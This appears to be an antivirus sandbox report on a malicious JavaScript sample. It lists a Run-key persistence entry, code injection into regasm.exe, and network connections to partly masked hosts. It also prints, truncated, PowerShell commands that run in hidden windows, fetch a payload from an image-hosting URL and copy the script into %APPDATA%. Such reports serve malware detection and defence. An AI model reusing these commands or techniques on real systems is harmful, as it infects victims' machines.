Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Path' = '%APPDATA%\fe29de9b-8d0b-4a3b-9fa4-9764263dfd30.js'
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Modifies file system
Creates the following files
- %TEMP%\content\4756-2344-wscript.exe-15-51-17-398.dump
- %LOCALAPPDATA%\packages\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\localstate\targetedcontentcache\v3\338387\f6d2065d03ac4baeaa37ca916aaad8b1_2.~tmp
- %LOCALAPPDATA%\packages\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\localstate\contentmanagementsdk\creatives\310091\1691707937.~tmp
- %LOCALAPPDATA%\packages\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\localstate\targetedcontentcache\v3\338387\da35a4675b2f44759acd435770142153_2.~tmp
Network activity
Connects to
- 'up#####eimagens.com.br':443
- '24.##2.37.111':80
- 'ip##pi.com':80
- '24.##2.37.111':5552
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/CABD2A79A1076A31F21D253635CB039D4329A5E8.crt?7d##############
- http://24.##2.37.111/img/paper.png
- http://ip##pi.com/json/
Other
- 'up#####eimagens.com.br':443
- '24.##2.37.111':5552
UDP
- DNS ASK up#####eimagens.com.br
- DNS ASK ip##pi.com
Miscellaneous
Searches for the following windows
- ClassName: 'OleMainThreadWndClass' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $imageUrl ='https://uploaddeimagens.com.br/images/004/563/341/original/js.jpg?1690914842';$webClient =New-Object System.Net.WebClient;$imageBytes =$webClient.DownloadData($imageUrl);$imageText ...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden Copy-Item -Path *.js -Destination %APPDATA%\fe29de9b-8d0b-4a3b-9fa4-9764263dfd30.js' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $imageUrl ='https://uploaddeimagens.com.br/images/004/563/341/original/js.jpg?1690914842';$webClient =New-Object System.Net.WebClient;$imageBytes =$webClient.DownloadData($imageUrl);$imageText ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden Copy-Item -Path *.js -Destination %APPDATA%\fe29de9b-8d0b-4a3b-9fa4-9764263dfd30.js
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
